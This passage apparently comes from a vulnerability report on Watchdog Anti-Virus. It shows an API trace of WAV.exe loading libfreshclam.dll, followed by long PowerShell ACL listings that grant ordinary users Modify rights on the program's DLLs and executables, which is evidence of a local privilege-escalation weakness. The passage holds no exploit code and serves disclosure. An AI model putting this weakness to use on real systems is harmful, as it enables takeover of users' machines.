284 WAV.exe,LoadLibraryExA,LPCSTR: libfreshclam.dll, dwFlags : NONE
285 WAV.exe,LoadLibraryExW,LPCWSTR : libfreshclam.dll, dwFlags : NONE
286 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
287 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
288 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: FreeCredentialsHandle
289 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
290 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
291 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
292 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
293 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
294 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
295 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
296 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
297 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
298 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
299 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
300 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
301 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
302 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
303 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
304 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
305 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
306 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
307 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
308 WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
309 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
310 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros

```

#### File\_ACLS.txt

```

1 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
2 Owner : BUILTIN\Administrators
3 Group : DESKTOP-8B89BFF\None
4 Access : BUILTIN\Users Allow Modify, Synchronize
5         NT SERVICE\TrustedInstaller Allow FullControl
6         NT SERVICE\TrustedInstaller Allow 268435456
7
7         NT AUTHORITY\SYSTEM Allow FullControl
8         NT AUTHORITY\SYSTEM Allow 268435456

```



```

9      BUILTIN\Administrators Allow FullControl
10     BUILTIN\Administrators Allow 268435456
11     BUILTIN\Users Allow -1610612736
12     CREATOR OWNER Allow 268435456
13     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
14     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
15     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
16     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
17  Audit :
18  Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;;
19      418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
20      2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
21      ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIO
22      )
23
24  Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\DefaultD
25  Owner : BUILTIN\Administrators
26  Group : DESKTOP-8B89BFF\None
27  Access : BUILTIN\Users Allow Modify, Synchronize
28          NT SERVICE\TrustedInstaller Allow FullControl
29          NT SERVICE\TrustedInstaller Allow 268435456
30          NT AUTHORITY\SYSTEM Allow FullControl
31          NT AUTHORITY\SYSTEM Allow 268435456
32          BUILTIN\Administrators Allow FullControl
33          BUILTIN\Administrators Allow 268435456
34          BUILTIN\Users Allow -1610612736
35          CREATOR OWNER Allow 268435456
36          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
37          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
38          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
39          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
40  Audit :
41  Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;;
42      418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
43      2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
44      ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIO
45      )
46
47  Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
48  Owner : BUILTIN\Administrators
49  Group : DESKTOP-8B89BFF\None
50  Access : BUILTIN\Users Allow Modify, Synchronize
51          NT SERVICE\TrustedInstaller Allow FullControl
52          NT SERVICE\TrustedInstaller Allow 268435456
53          NT AUTHORITY\SYSTEM Allow FullControl
54          NT AUTHORITY\SYSTEM Allow 268435456
55          BUILTIN\Administrators Allow FullControl
56          BUILTIN\Administrators Allow 268435456
57          BUILTIN\Users Allow -1610612736

```

```
58      CREATOR OWNER Allow 268435456
59      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
60      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
61      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
62      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
63  Audit :
64  Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;;
65      418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
66      2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
67      ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIO
68      )
69
70  Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\C
71  Owner : BUILTIN\Administrators
72  Group : DESKTOP-8B89BFF\None
73  Access : BUILTIN\Users Allow Modify, Synchronize
74      NT AUTHORITY\SYSTEM Allow FullControl
75      BUILTIN\Administrators Allow FullControl
76      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
77      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
78  Audit :
79  Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
80      x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
81
82  Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\crashpad
83  Owner : BUILTIN\Administrators
84  Group : DESKTOP-8B89BFF\None
85  Access : BUILTIN\Users Allow Modify, Synchronize
86      NT AUTHORITY\SYSTEM Allow FullControl
87      BUILTIN\Administrators Allow FullControl
88      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
89      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
90  Audit :
91  Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
92      x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
93
94  Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\IEShims.
95  Owner : BUILTIN\Administrators
96  Group : DESKTOP-8B89BFF\None
97  Access : BUILTIN\Users Allow Modify, Synchronize
98      NT AUTHORITY\SYSTEM Allow FullControl
99      BUILTIN\Administrators Allow FullControl
100      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
101      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
102  Audit :
103  Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
104      x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
105
106  Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\libcrypt
```

```
107 Owner : BUILTIN\Administrators
108 Group : DESKTOP-8B89BFF\None
109 Access : BUILTIN\Users Allow Modify, Synchronize
110         NT AUTHORITY\SYSTEM Allow FullControl
111         BUILTIN\Administrators Allow FullControl
112         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
113         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
114 Audit :
115 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
116        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
117
118 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\libssl-1.
119 Owner : BUILTIN\Administrators
120 Group : DESKTOP-8B89BFF\None
121 Access : BUILTIN\Users Allow Modify, Synchronize
122         NT AUTHORITY\SYSTEM Allow FullControl
123         BUILTIN\Administrators Allow FullControl
124         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
125         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
126 Audit :
127 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
128        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
129
130 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\log4cpp.
131 Owner : BUILTIN\Administrators
132 Group : DESKTOP-8B89BFF\None
133 Access : BUILTIN\Users Allow Modify, Synchronize
134         NT AUTHORITY\SYSTEM Allow FullControl
135         BUILTIN\Administrators Allow FullControl
136         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
137         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
138 Audit :
139 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
140        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
141
142 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\log4net.
143 Owner : BUILTIN\Administrators
144 Group : DESKTOP-8B89BFF\None
145 Access : BUILTIN\Users Allow Modify, Synchronize
146         NT AUTHORITY\SYSTEM Allow FullControl
147         BUILTIN\Administrators Allow FullControl
148         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
149         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
150 Audit :
151 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
152        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
153
154 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
155        Anti-Virus\Microsoft.Win32.SystemEvents.dll
```

```
156 Owner : BUILTIN\Administrators
157 Group : DESKTOP-8B89BFF\None
158 Access : BUILTIN\Users Allow Modify, Synchronize
159         NT AUTHORITY\SYSTEM Allow FullControl
160         BUILTIN\Administrators Allow FullControl
161         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
162         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
163 Audit :
164 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
165        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
166
167 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\msvcpl40
168 Owner : BUILTIN\Administrators
169 Group : DESKTOP-8B89BFF\None
170 Access : BUILTIN\Users Allow Modify, Synchronize
171         NT AUTHORITY\SYSTEM Allow FullControl
172         BUILTIN\Administrators Allow FullControl
173         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
174         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
175 Audit :
176 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
177        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
178
179 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\Newtonso
180 Owner : BUILTIN\Administrators
181 Group : DESKTOP-8B89BFF\None
182 Access : BUILTIN\Users Allow Modify, Synchronize
183         NT AUTHORITY\SYSTEM Allow FullControl
184         BUILTIN\Administrators Allow FullControl
185         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
186         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
187 Audit :
188 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
189        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
190
191 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\sciter.d
192 Owner : BUILTIN\Administrators
193 Group : DESKTOP-8B89BFF\None
194 Access : BUILTIN\Users Allow Modify, Synchronize
195         NT AUTHORITY\SYSTEM Allow FullControl
196         BUILTIN\Administrators Allow FullControl
197         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
198         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
199 Audit :
200 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
201        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
202
203 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\sentry.d
204 Owner : BUILTIN\Administrators
```



```
205 Group : DESKTOP-8B89BFF\None
206 Access : BUILTIN\Users Allow Modify, Synchronize
207         NT AUTHORITY\SYSTEM Allow FullControl
208         BUILTIN\Administrators Allow FullControl
209         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
210         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
211 Audit :
212 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
213        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
214
215 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\Setup.ex
216 Owner : BUILTIN\Administrators
217 Group : DESKTOP-8B89BFF\None
218 Access : BUILTIN\Users Allow Modify, Synchronize
219         NT AUTHORITY\SYSTEM Allow FullControl
220         BUILTIN\Administrators Allow FullControl
221         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
222         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
223 Audit :
224 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
225        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
226
227 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\sfc.dll
228 Owner : BUILTIN\Administrators
229 Group : DESKTOP-8B89BFF\None
230 Access : BUILTIN\Users Allow Modify, Synchronize
231         NT AUTHORITY\SYSTEM Allow FullControl
232         BUILTIN\Administrators Allow FullControl
233         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
234         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
235 Audit :
236 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
237        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
238
239 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
240        Anti-Virus\System.Configuration.ConfigurationManager.dll
241 Owner : BUILTIN\Administrators
242 Group : DESKTOP-8B89BFF\None
243 Access : BUILTIN\Users Allow Modify, Synchronize
244         NT AUTHORITY\SYSTEM Allow FullControl
245         BUILTIN\Administrators Allow FullControl
246         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
247         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
248 Audit :
249 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
250        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
251
252 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
253        Anti-Virus\System.Diagnostics.EventLog.dll
```

254 Owner : BUILTIN\Administrators  
255 Group : DESKTOP-8B89BFF\None  
256 Access : BUILTIN\Users Allow Modify, Synchronize  
257 NT AUTHORITY\SYSTEM Allow FullControl  
258 BUILTIN\Administrators Allow FullControl  
259 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
260 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
261 Audit :  
262 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
263 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
264  
265 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog  
266 Anti-Virus\System.Diagnostics.EventLog.Messages.dll  
267 Owner : BUILTIN\Administrators  
268 Group : DESKTOP-8B89BFF\None  
269 Access : BUILTIN\Users Allow Modify, Synchronize  
270 NT AUTHORITY\SYSTEM Allow FullControl  
271 BUILTIN\Administrators Allow FullControl  
272 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
273 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
274 Audit :  
275 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
276 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
277  
278 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\System.D  
279 Owner : BUILTIN\Administrators  
280 Group : DESKTOP-8B89BFF\None  
281 Access : BUILTIN\Users Allow Modify, Synchronize  
282 NT AUTHORITY\SYSTEM Allow FullControl  
283 BUILTIN\Administrators Allow FullControl  
284 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
285 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
286 Audit :  
287 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
288 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
289  
290 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog  
291 Anti-Virus\System.Security.Cryptography.ProtectedData.dll  
292 Owner : BUILTIN\Administrators  
293 Group : DESKTOP-8B89BFF\None  
294 Access : BUILTIN\Users Allow Modify, Synchronize  
295 NT AUTHORITY\SYSTEM Allow FullControl  
296 BUILTIN\Administrators Allow FullControl  
297 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
298 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
299 Audit :  
300 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
301 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
302

```
303 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
304 Anti-Virus\System.Security.Permissions.dll
305 Owner : BUILTIN\Administrators
306 Group : DESKTOP-8B89BFF\None
307 Access : BUILTIN\Users Allow Modify, Synchronize
308 NT AUTHORITY\SYSTEM Allow FullControl
309 BUILTIN\Administrators Allow FullControl
310 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
311 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
312 Audit :
313 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
314 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
315
316 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
317 Anti-Virus\System.Threading.AccessControl.dll
318 Owner : BUILTIN\Administrators
319 Group : DESKTOP-8B89BFF\None
320 Access : BUILTIN\Users Allow Modify, Synchronize
321 NT AUTHORITY\SYSTEM Allow FullControl
322 BUILTIN\Administrators Allow FullControl
323 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
324 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
325 Audit :
326 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
327 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
328
329 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\ucrtbase
330 Owner : BUILTIN\Administrators
331 Group : DESKTOP-8B89BFF\None
332 Access : BUILTIN\Users Allow Modify, Synchronize
333 NT AUTHORITY\SYSTEM Allow FullControl
334 BUILTIN\Administrators Allow FullControl
335 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
336 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
337 Audit :
338 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
339 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
340
341 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\unins000
342 Owner : BUILTIN\Administrators
343 Group : DESKTOP-8B89BFF\None
344 Access : BUILTIN\Users Allow Modify, Synchronize
345 NT AUTHORITY\SYSTEM Allow FullControl
346 BUILTIN\Administrators Allow FullControl
347 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
348 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
349 Audit :
350 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
351 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
```

```
352
353 Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\unins000
354 Owner  : BUILTIN\Administrators
355 Group  : DESKTOP-8B89BFF\None
356 Access : BUILTIN\Users Allow  Modify, Synchronize
357         NT AUTHORITY\SYSTEM Allow  FullControl
358         BUILTIN\Administrators Allow  FullControl
359         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
360         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
361 Audit   :
362 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
363         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
364
365 Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\vcruntim
366 Owner  : BUILTIN\Administrators
367 Group  : DESKTOP-8B89BFF\None
368 Access : BUILTIN\Users Allow  Modify, Synchronize
369         NT AUTHORITY\SYSTEM Allow  FullControl
370         BUILTIN\Administrators Allow  FullControl
371         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
372         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
373 Audit   :
374 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
375         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
376
377 Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\vcruntim
378 Owner  : BUILTIN\Administrators
379 Group  : DESKTOP-8B89BFF\None
380 Access : BUILTIN\Users Allow  Modify, Synchronize
381         NT AUTHORITY\SYSTEM Allow  FullControl
382         BUILTIN\Administrators Allow  FullControl
383         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
384         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
385 Audit   :
386 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
387         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
388
389 Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\vcruntim
390 Owner  : BUILTIN\Administrators
391 Group  : DESKTOP-8B89BFF\None
392 Access : BUILTIN\Users Allow  Modify, Synchronize
